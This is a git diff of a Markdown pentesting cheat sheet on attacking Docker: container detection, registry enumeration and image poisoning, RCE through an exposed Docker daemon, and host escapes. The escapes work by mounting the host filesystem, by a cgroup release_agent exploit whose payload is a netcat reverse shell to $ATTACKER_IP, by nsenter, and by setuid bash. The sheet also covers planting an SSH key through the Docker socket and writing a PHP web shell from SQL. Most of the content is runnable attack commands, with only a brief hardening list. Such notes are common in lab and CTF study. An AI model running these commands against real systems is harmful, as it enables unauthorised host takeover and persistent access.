cleanup
This commit is contained in:
whackx
parent
742e33b85b
commit
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@ -3,84 +3,110 @@
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## Check if you are inside a container
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* Low process count
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```sh
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ps aux
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```
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* `.dockerenv` in `/`
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```sh
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cd / && ls -lah
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```
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* cgroups contain docker names
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```sh
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pwd /proc/1
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cat cgroups
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```
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* [Container enumeration](https://github.com/stealthcopter/deepce)
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## Abusing Registry
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* [Registry Doc](https://docs.docker.com/registry/spec/api/)
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* Registry is a json API endpoint
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* Private registry added in `/etc/docker/daemon.json`
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* Can be found by nmap as a service
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Enumerate the Registry through [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber.git).
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### Enumeration
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* General query
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```sh
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curl http://test.com:5000/v2/_catalog`
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```
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* List tags
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```sh
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curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
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curl http://example.com:5000/v2/<REPOSITORY>/<APP>/tags/list
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curl http://example.com:5000/v2/<REPOSITORY>/tags/list
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```
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* `history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
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`history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
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```sh
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curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
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```
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## Reversing Docker Images
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* [Dive](https://github.com/wagoodman/dive)
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```sh
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dive <IMAGE-ID>
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```
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## Uploading Images to Registry
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* Ever image has a `latest` tag
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* Upload modified docker image as `latest`
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* [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining)
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## RCE via Exposed Docker Daemon
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* Users inside the `docker` group may open tcp socket through docker
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* `nmap -sV -p- <IP> -vv` to find exposed tcp sockets via docker
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* Confirming via `curl http://test.com:2375/version` on open docker port
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* Execute commands on socket
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```sh
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docker -H tcp://test.com:2375 ps
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docker -H tcp://test.com:2375 exec <container> <cmd>
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docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
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```
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```sh
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docker -H tcp://test.com:2375 ps
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docker -H tcp://test.com:2375 exec <container> <cmd>
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docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
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```
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* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)
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## Escape Container via Exposed Docker Daemon
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* Looking for exposed docker sockets
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```sh
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find / -name "*sock" 2>/dev/null
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groups
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```
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* Mount the host volume and chroot to it, need alpine image.
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* Mount the host volume and chroot to it, need alpine image.
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```sh
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docker images
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docker run -v /:/mnt --rm -it alpine chroot /mnt sh
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```
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or
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```sh
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docker run -v /:/host --rm -it <imageID> chroot /host/ bash
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```
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## Shared Namespaces
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* Namespaces
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* Cgroups
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* OverlayFS
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@ -88,24 +114,28 @@ docker run -v /:/host --rm -it <imageID> chroot /host/ bash
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* Requires root inside the container
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* Execute command
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```sh
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nsenter --target 1 --mount sh
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```
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## Misconfiguration
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### capabilities
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### capabilities
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* Privileged container connect to the host directly, not through the docker engine
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* Execution of bins on the host from libs inside the container is possible
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```sh
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capsh --print
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```
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* `man capabilities`
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* [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.)
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* Exploit and get a reverse shell to the host via
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```sh
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mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
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echo 1 > /tmp/cgrp/x/notify_on_release
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@ -116,17 +146,23 @@ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/
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chmod a+x /exploit
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sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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```
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* The file may appear outside the container on the host system
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### cap_admin
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`cap_sys_admin` provides the ability to spawn a root shell inside the container
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```sh
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capsh --gid=0 --uid=0 --
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```
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Further, if there is access to the host this capability can be used to set `chmod u+s /bin/bash` and list the available mounts. The mounts can be listed `findmnt`.
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Resulting in a useable root bash on the host via executing it on the path of the docker volume, e.g.
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Further, if there is access to the host this capability can be used to set
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`chmod u+s /bin/bash` and list the available mounts. The mounts can be listed
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`findmnt`.
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Resulting in a useable root bash on the host via executing it on the path of
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the docker volume, e.g.
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```sh
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/var/lib/docker/overlay2/l/randomhash/bin/bash -p
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```
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@ -135,10 +171,12 @@ Resulting in a useable root bash on the host via executing it on the path of the
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* `fdisk -l` and `lsblk`, host bulk device may be exposed
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* Mount the device
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```sh
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mkdir /mnt/hostdev
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mount /dev/<hostVda> /mnt/hostdev
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```
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* Check `/dev` as well !!! and mount device
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## Creating a Container from inside another container
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* Needs root inside a container
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* Upload [static curl](https://github.com/moparisthebest/static-curl)
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* Check available images and containers
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```sh
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curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
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curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
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```
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* Inside the container as root
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```sh
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curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
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```
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* Return value is the ID
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* Start a container
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```sh
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curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
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```
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* Login in to the host via ssh remotely or socat locally
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```sh
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socat - UNIX-CONNECT:/var/run/docker.sock
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POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
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* Inject PHP code
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* Select table content into a file the user can read
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* Execute the file
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```sql
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create table h4x0r (pwn varchar(1024));
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insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
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select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
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copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL
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```
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* curl the webshell hon the exploited host
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```sh
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curl <host-IP>/shell.php?cmd=id
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```
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## Dirty c0w
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https://github.com/dirtycow/dirtycow.github.io
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[DirtyC0w](https://github.com/dirtycow/dirtycow.github.io)
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## runC
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[CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
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## Securing a Container
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* Least Privileges
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* Seccomp
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* Securing Registry via TLS
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## References
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* [Docker Registry Grabber](https://github.com/Syzik/DockerRegistryGrabber.git)
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